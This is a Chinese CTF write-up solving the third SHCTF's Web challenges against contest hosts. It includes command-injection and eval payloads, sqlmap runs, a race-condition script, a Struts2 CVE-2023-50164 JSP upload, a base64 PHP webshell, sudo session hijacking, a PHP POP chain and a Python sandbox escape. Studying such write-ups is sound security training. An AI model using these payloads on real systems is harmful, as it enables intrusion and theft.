第三届山河杯(SHCTF) Web全题解

总体上还是很偏向基础的比赛

05_em_v_CFK

前端源码有注释信息

image-20260203163703347

解码信息

image-20260203163831352

访问/uploads/shell.php?show=get弹出shell,至于哪来的/uploads,dirsearch扫出来的,题目说shell是上传上去的,那就找/uploads

image-20260203164000071

key用cmd5碰出来是114514,根目录没有flag,环境变量没有flag,乱翻目录看见有个/var/db.sql

image-20260203164320636

看看内容

CREATE DATABASE IF NOT EXISTS shop;
USE shop;

CREATE TABLE goods (
id INT PRIMARY KEY,
name VARCHAR(50),
price DECIMAL(10, 2)
);

CREATE TABLE mess (
id INT PRIMARY KEY,
mess VARCHAR(100)
);

INSERT INTO goods VALUES (1, 'Free Tea', 0.00), (2, 'Icecream', 3.00), (3, 'Golden Flag', 50.00);
INSERT INTO mess VALUES (1, '羊毛都让你薅光了'), (2, '好吃不贵');

CREATE USER 'ctf_user'@'localhost' IDENTIFIED BY 'ctf_password_114514';
GRANT SELECT, UPDATE ON shop.goods TO 'ctf_user'@'localhost';

DELIMITER //

CREATE DEFINER=`root`@`localhost` PROCEDURE `buy_item`(
IN item_id INT,
IN user_money DECIMAL(10,2)
)
SQL SECURITY DEFINER
BEGIN
DECLARE current_price INT;
DECLARE final_message VARCHAR(100);

SELECT price INTO current_price FROM goods WHERE id = item_id;

IF current_price <= user_money THEN
SELECT mess INTO final_message FROM mess WHERE id = item_id;
SELECT current_price AS current_price, final_message AS final_message;
ELSE
SELECT 0 AS current_price, '余额不足,你需要更多的钱或者更便宜的商品' AS final_message;
END IF;
END //

DELIMITER ;

GRANT EXECUTE ON PROCEDURE shop.buy_item TO 'ctf_user'@'localhost';
FLUSH PRIVILEGES;

给了数据库账号ctf_user密码ctf_password_114514

修改Golden Flag的价格为0

mysql -u ctf_user -p ctf_password_114514 shop -e "UPDATE goods SET price = 0.00 WHERE id = 3;"

再去买flag

image-20260203165647254


calc?js?fuck!

源码

const express = require('express');
const app = express();
const port = 5000;

app.use(express.json());


const WAF = (recipe) => {
const ALLOW_CHARS = /^[012345679!\.\-\+\*\/\(\)\[\]]+$/;
if (ALLOW_CHARS.test(recipe)) {
return true;
}
return false;
};


function calc(operator) {
return eval(operator);
}

app.get('/', (req, res) => {
res.sendFile(__dirname + '/index.html');
});


app.post('/calc', (req, res) => {
const { expr } = req.body;
console.log(expr);
if(WAF(expr)){
var result = calc(expr);
res.json({ result });
}else{
res.json({"result":"WAF"});
}
});


app.listen(port, () => {
console.log(`Server running on port ${port}`);
});

evil()来当计算器也挺少见的,题目暗示用jsfuck绕过,一般的paylaod大概长这样

global.process.mainModule.require('child_process').execSync('cat /flag')

发现题目是不回显的

image-20260203170018854

测试能否出网,发现有报错回显

image-20260203170154016

那就用报错进行回显

global.process.mainModule.require('child_process').execSync('xxx_$(cat /flag)')

image-20260203170610147


ez-ping

经典题型,但是有点小过滤,比如catflag*

找几个替代的就行

image-20260203170829457


kill_king

游戏是不可能玩游戏的,翻前端源码看到获胜条件

image-20260203171222496

发个包,返回了个php页面

image-20260203171357609

源码

<?php
// 国王并没用直接爆出flag,而是出现了别的东西???
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['result']) && $_POST['result'] === 'win') {
highlight_file(__FILE__);
if(isset($_GET['who']) && isset($_GET['are']) && isset($_GET['you'])){
$who = (String)$_GET['who'];
$are = (String)$_GET['are'];
$you = (String)$_GET['you'];

if(is_numeric($who) && is_numeric($are)){
if(preg_match('/^\W+$/', $you)){
$code = eval("return $who$you$are;");
echo "$who$you$are = ".$code;
}
}
}
} else {
echo "Invalid result.";
}
} else {
echo "No access.";
}
?>

要求$who$are参数为数字,$you参数为非字母字符串,最后用执行了eval("return $who$you$are;")

用三元表达式可以构造出return 1?system(cat /flag):0来执行system()方法,由于是直接拼接进参数里,$you可以用取反绕过

<?php
echo urlencode(~'system')."\n";
echo urlencode(~'cat /flag');

//%8C%86%8C%8B%9A%92
//%9C%9E%8B%DF%D0%99%93%9E%98

image-20260203173128175


上古遗迹档案馆

非常像SQL注入,而且估计还是盲注,直接上sqlmap罢

python sqlmap.py -u http://challenge.shc.tf:30616/?id=2 --dbs

image-20260203173834389

看看ctftraining

python sqlmap.py -u http://challenge.shc.tf:30616/?id=2 -D ctftraining -a

image-20260203174049379

被嘲讽了,问题不大,再看看archive_db

python sqlmap.py -u http://challenge.shc.tf:30616/?id=2 -D archive_db -a

image-20260203174242714


Go

没看出来和go有什么关系

尝试POST请求发送role=admin,提示Invalid JSON

image-20260205231251010

改格式为JSON,提示'admin' value is strictly forbidden in 'role' field!

image-20260205231623109

大小写绕过即可

image-20260205231651287


Mini Blog

一开始还以为是XSS,后面抓包看到上传格式为XML

image-20260205233418656

打XXE完事

image-20260205233441205


ez_race

源码中,提现服务有条件竞争的问题,并且当余额小于0时,访问/flag会弹出flag

image-20260206162245146

测试用curl去提现,要带上cookie和csrfmiddlewaretoken,测试发现 csrfmiddlewaretoken在同一个服务使用可以重复

image-20260206162408839

并发脚本

import threading
import subprocess
import time

def run_single_command():
cmd = 'curl --cookie "csrftoken=JF54YjPTUXZbRJKvDvoE2OcuBh4I1mcY; sessionid=g6i9svy3f8jpu6vlgngajqe4pqud1d5j" -X POST -d "csrfmiddlewaretoken=0nYX6zRn2yDLq52VnLwGQqZgtVRrfuGOzSTRUIw6MlsM7ECgQ6KaI41AU2LZ6GIC&amount=5" "http://challenge.shc.tf:30666/withdraw"'
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result

num_threads = 5
threads = []

start_time = time.time()

for i in range(num_threads):
thread = threading.Thread(target=run_single_command)
threads.append(thread)
thread.start()
time.sleep(0.01)

for thread in threads:
thread.join()

运行完毕,余额变为负值

image-20260206162535583

访问/flag路由获取flag

image-20260206162603294


你也懂java?

靶机展示代码

public void handle(HttpExchange exchange) throws IOException {
String method = exchange.getRequestMethod();
String path = exchange.getRequestURI().getPath();

if ("POST".equalsIgnoreCase(method) && "/upload".equals(path)) {
try (ObjectInputStream ois = new ObjectInputStream(exchange.getRequestBody())) {
Object obj = ois.readObject();
if (obj instanceof Note) {
Note note = (Note) obj;
if (note.getFilePath() != null) {
echo(readFile(note.getFilePath()));
}
}
} catch (Exception e) {}
}
}

附件源码

import java.io.Serializable;

public class Note implements Serializable {
private static final long serialVersionUID = 1L;
private String title;
private String message;
private String filePath;

public Note(String var1, String var2, String var3) {
this.title = var1;
this.message = var2;
this.filePath = var3;
}

public String getTitle() {
return this.title;
}

public String getMessage() {
return this.message;
}

public String getFilePath() {
return this.filePath;
}
}

简单的反序列化构造,但是网站是直接读取二进制数据,所以就直接在IDEA发送数据了

import java.net.HttpURLConnection;
import java.net.URL;
import java.io.*;

public class Main {
public static void main(String[] args) throws IOException {
Note note = new Note("a", "a", "/flag");

ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(note);
}
byte[] serializedData = baos.toByteArray();

URL url = new URL("http://challenge.shc.tf:30664/upload");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/octet-stream");

try (OutputStream os = conn.getOutputStream()) {
os.write(serializedData);
os.flush();
}

try (BufferedReader br = new BufferedReader(
new InputStreamReader(conn.getInputStream()))) {
String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
}
}
}

运行即可

image-20260207123425463


BabyJavaUpload

前端源码给了两个提示

image-20260207173846340

一个说要找环境的问题,还有一个说flag在根目录

一开始我只能发现报错显示用了tomcat8.5.81的服务器框架

image-20260207173959860

其实每次上传文件都会发到一个独特的路由/upload.action,这是struts2框架的特征,但是一开始我没在意。直到后面上传一个文件报错了

359029acc16486749752d60bdf2e6752

这下才真正确定是struts2的框架,该框架下有一个文件上传+目录穿越的漏洞CVE-2023-50164,通过操纵表单字段名称的大小写,让struts2框架错误地将文件上传至非预期目录

通过利用该漏洞将jsp文件的上传路径改为网站根目录,这样会才触发jsp渲染

POST /upload.action HTTP/1.1
Host: challenge.shc.tf:32453
Content-Length: 417
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge.shc.tf:32453
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypE6nG65pWD3eYXqH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge.shc.tf:32453/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: csrftoken=JF54YjPTUXZbRJKvDvoE2OcuBh4I1mcY; sessionid=g6i9svy3f8jpu6vlgngajqe4pqud1d5j; JSESSIONID=3BB3376ABD0DA53247B64BBDF43B548C
Connection: close

------WebKitFormBoundarypE6nG65pWD3eYXqH
Content-Disposition: form-data; name="Myfile"; filename="1.txt"
Content-Type: text/plain

<%@ page import="java.nio.file.Files, java.nio.file.Paths" %>
<%= new String(Files.readAllBytes(Paths.get("/flag"))) %>


------WebKitFormBoundarypE6nG65pWD3eYXqH
Content-Disposition: form-data; name="myfileFileName";

../../../1.jsp
------WebKitFormBoundarypE6nG65pWD3eYXqH

响应显示上传的文件名已经被篡改

image-20260207174723490

直接访问/1.jsp路由读取flag

image-20260207174752431

其实该漏洞修复后还有一个绕过手法CVE-2024-53677


sudoooo0

感谢这道题让我对熟悉了很多Linux命令(悲

目录扫描出来shell是webshell.php

image-20260208010815118

该shell接收cmd参数,使用evil()执行

image-20260208010955888

由于使用Hackbar太膈应了,就又写了一个POST版本的shell连接蚁剑了

echo 'PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7IA==' | base64 -d > cmd.php

发现根目录的flag读取不了

image-20260208011838233

一开始想着是SUID提权,结果没有可以用的上的(悲

偶然间查看进程ps aux发现PID为25的进程在维护一个持久的 sudo 会话

image-20260208011947302

显然,这里hfWQ就是sudo时需要输入的密码

但是还有一个问题,蚁剑连接的shell其实是一个通过php木马文件模拟的虚拟终端,并不是tty这种可交互的终端

image-20260208014025638

一开始我想要通过反弹shell获取tty,最后失败了(首先是没有nc不能直接弹tty,其次没有python不能在目标机提升后反弹

但是查看该进程的详细信息

image-20260208013548338

可以看到,该进程还遗留着一个伪终端/dev/pts/0,这是一个tty

那就只能通过这个现成的tty来获取flag了,Linux中有个script命令用来管理终端会话,该命令可以创建伪终端

script -q -f -c "command" /dev/null

-q:安静模式,不显示提示信息

-f:立即刷新输出

-c:执行指定的命令

也可以使用-f参数接管会话,这样我们就可以通过直接向该tty执行命令

所以payload

script -f /dev/pts/0 -c 'echo hfWQ | sudo -S cat /flag'

输出flag

image-20260208013105694


Ezphp

题目源码

<?php

highlight_file(__FILE__);
error_reporting(0);

class Sun{
public $sun;
public function __destruct(){
die("Maybe you should fly to the ".$this->sun);
}
}

class Solar{
private $Sun;
public $Mercury;
public $Venus;
public $Earth;
public $Mars;
public $Jupiter;
public $Saturn;
public $Uranus;
public $Neptune;
public function __set($name,$key){
$this->Mars = $key;
$Dyson = $this->Mercury;
$Sphere = $this->Venus;
$Dyson->$Sphere($this->Mars);
}
public function __call($func,$args){
if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
$exploar = new $func($args[0]);
$road = $this->Jupiter;
$exploar->$road($this->Saturn);
}
else{
die("Black hole");
}
}
}

class Moon{
public $nearside;
public $farside;
public function __tostring(){
$starship = $this->nearside;
$starship();
return '';
}
}

class Earth{
public $onearth;
public $inearth;
public $outofearth;
public function __invoke(){
$oe = $this->onearth;
$ie = $this->inearth;
$ote = $this->outofearth;
$oe->$ie = $ote;
}
}



if(isset($_POST['travel'])){
$a = unserialize($_POST['travel']);
throw new Exception("How to Travel?");
}

问题在于反序列化执行后抛出了异常,此时程序非正常退出,不会触发__destruct()而是直接报错,并且题目启用了error_reporting(0);,表现为无回显

这种一般要利用PHP的GC机制强制执行__destruct()方法,原理为通过反序列化时覆盖对象,使对象无法被引用,触发GC

PHP在反序列化时,允许数组内的键是重复的,后面的重复键会覆盖前一个。思路就是序列化一个有两个元素的数组,将第二个元素设置为任意值,再手动将空元素的索引调整为0,此时就会覆盖前一个元素,相当于该对象刚被实例化出来位置就没了,自然无法被引用,自然就触发了__destruct()

利用链的构造相对还是比较简单的

Sun::__destruct()
->Moon::__toString()
->Earth::__invoke()
->Solar$0::__set()
->Solar$1::__cal()

最后一步给了一个实例化任意类的逻辑,由于对直接方法调用非常严格,所以不使用ReflectionFunction类执行命令,而是使用PHP原生的SplFileObject类来读取文件

通过实例化一个SplFileObject('/flag')再对其调用fpassthru()可以实现文件读取并回显

所以Exp

$sun = new Sun();
$sun->sun = new Moon();
$sun->sun->nearside = new Earth();
$sun->sun->nearside->onearth = new Solar();
$sun->sun->nearside->inearth = 'invalidField';
$sun->sun->nearside->outofearth = '/flag';
$sun->sun->nearside->onearth->Mercury = new Solar();
$sun->sun->nearside->onearth->Venus = 'SplFileObject';
$sun->sun->nearside->onearth->Mercury->Jupiter = 'fpassthru';
$sun->sun->nearside->onearth->Mercury->Saturn = null;

$load = array(0 => $sun, 1 => "aaa");
$ser = serialize($load);
var_dump($ser);
$ser = str_replace('i:1;', 'i:0;', $ser);

echo urlencode($ser);

获取flag

image-20260209012255886


Eazy_Pyrunner

注意到关于页面的url是?file=/pages/about.html

使用路径穿越?file=../../../app/app.py读取源码

from flask import Flask, render_template_string, request, jsonify
import subprocess
import tempfile
import os
import sys

app = Flask(__name__)


@app.route('/')
def index():
file_name = request.args.get('file', 'pages/index.html')

try:
with open(file_name, 'r', encoding='utf-8') as f:
content = f.read()
except Exception as e:
with open('pages/index.html', 'r', encoding='utf-8') as f:
content = f.read()

return render_template_string(content)


def waf(code):
blacklisted_keywords = [
'import', 'open', 'read', 'write', 'exec', 'eval',
'__', 'os', 'sys', 'subprocess', 'run', 'flag',
'\'', '\"'
]

for keyword in blacklisted_keywords:
if keyword in code:
return False

return True


@app.route('/execute', methods=['POST'])
def execute_code():
code = request.json.get('code', '')

if not code:
return jsonify({'error': '请输入Python代码'})

if not waf(code):
return jsonify({'error': 'Hacker!'})

try:
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(f"""
import sys
sys.modules['os'] = 'not allowed'

def is_my_love_event(event_name):
return event_name.startswith("Nothing is my love but you.")

def my_audit_hook(event_name, arg):
if len(event_name) > 0:
raise RuntimeError("Too long event name!")
if len(arg) > 0:
raise RuntimeError("Too long arg!")
if not is_my_love_event(event_name):
raise RuntimeError("Hacker out!")

__import__('sys').addaudithook(my_audit_hook)

{code}
""")
temp_file_name = f.name

result = subprocess.run(
[sys.executable, temp_file_name],
capture_output=True,
text=True,
timeout=10
)

os.unlink(temp_file_name)

return jsonify({
'stdout': result.stdout,
'stderr': result.stderr
})

except subprocess.TimeoutExpired:
return jsonify({'error': '代码执行超时(超过10秒)'})

except Exception as e:
return jsonify({'error': f'执行出错: {str(e)}'})

finally:
if os.path.exists(temp_file_name):
os.unlink(temp_file_name)


if __name__ == '__main__':
app.run(debug=True)

定义了一个事件审计钩子函数my_audit_hook(),当事件的名称、参数长度大于0或者方法不以Nothing is my love but you.开头,就会抛出错误

这个钩子的判定条件实在是太严格了,根本不存在符合条件的情境。但是它使用了内置的len()来判定,可以通过获取__builtins__模块覆写len()函数,令其始终返回0即可,对付is_my_love_event()也是一样的思路

贴出payload

a=chr(95)*2
b=getattr(getattr([],a+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+a),a+chr(98)+chr(97)+chr(115)+chr(101)+chr(115)+a)[0]
s=a+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+a
c=getattr(b,s)()[156]
i=c(None,None)
g=getattr(getattr(i,a+chr(105)+chr(110)+chr(105)+chr(116)+a),a+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+a)
g[chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)][chr(108)+chr(101)+chr(110)]=lambda x: 0
locals=g[chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)][chr(108)+chr(111)+chr(99)+chr(97)+chr(108)+chr(115)]
f=g[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)]
locals()[chr(105)+chr(115)+chr(95)+chr(109)+chr(121)+chr(95)+chr(108)+chr(111)+chr(118)+chr(101)+chr(95)+chr(101)+chr(118)+chr(101)+chr(110)+chr(116)]=lambda x: 1
sy=locals()[chr(115)+chr(121)+chr(115)]
poix=sy.modules[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)]
sst=getattr(poix,chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109))
try: print(sst(chr(47)+chr(114)+chr(101)+chr(97)+chr(100)+chr(95)+chr(102)+chr(108)+chr(97)+chr(103)))
except Exception as e:print(e)

把字符替换过来

a = "__"
b = getattr(getattr([], "__class__"), "__bases__")[0]
s = "__subclasses__"
c = getattr(b, s)()[156]
i = c(None, None)
g = getattr(getattr(i, "__init__"), "__globals__")
g["__builtins__"]["len"] = lambda x: 0
locals = g["__builtins__"]["locals"]
f = g["popen"]
locals()["is_my_love_event"] = lambda x: 1
sy = locals()["sys"]
poix = sy.modules["posix"]
sst = getattr(poix, "system")
try:
print(sst("/read_flag"))
except Exception as e:
print(e)

获取len()is_my_love_event()后用匿名函数使它们返回特定的值以跳脱my_audit_hook()的判定

is_my_love_event()通过locals()获取局部变量表可以找到

3a542d9a3eacdeb7da2ba2fef31188bd

由于源码直接改写禁用了os模块,这里需要使用差不多的posix模块

最后可以执行命令,/flag由于权限问题无法读取,但是根目录下还有一个可执行文件read_flag

f7ba611e56077ba65a358026695840d3

system('/read_flag')运行可执行文件获取flag

image-20260209191618041